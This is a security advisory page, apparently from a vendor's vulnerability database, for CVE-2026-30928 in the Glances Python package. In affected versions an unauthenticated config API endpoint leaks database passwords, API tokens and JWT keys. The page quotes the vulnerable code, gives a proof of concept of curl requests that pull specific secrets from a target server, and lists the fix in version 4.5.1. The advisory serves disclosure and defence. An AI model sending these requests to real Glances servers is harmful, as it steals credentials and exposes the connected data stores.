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🐍 PyPI

GHSA-gh4x-f7cq-wwx6

Glances Exposes Unauthenticated Configuration Secrets

Also known asCVE-2026-30928
Published
Mar 9, 2026
Updated
Mar 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.7%probability of exploitation in next 30 days
Lower Risk74th percentile-5.01%
0.00%3.50%6.99%10.5%3.4%8.5%6.7%1.7%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍glances

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:

  • File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)
  • File: glances/config.py, lines 280-287
def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary
  • File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

  • Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
  • From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIglancesall versions4.5.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update glances to 4.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gh4x-f7cq-wwx6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gh4x-f7cq-wwx6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gh4x-f7cq-wwx6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. ### Details Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied. Affected Code: - _File: glances/outputs
O3 Security · Impact-Aware SCA

Is GHSA-gh4x-f7cq-wwx6 in your dependencies?

O3 detects GHSA-gh4x-f7cq-wwx6 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.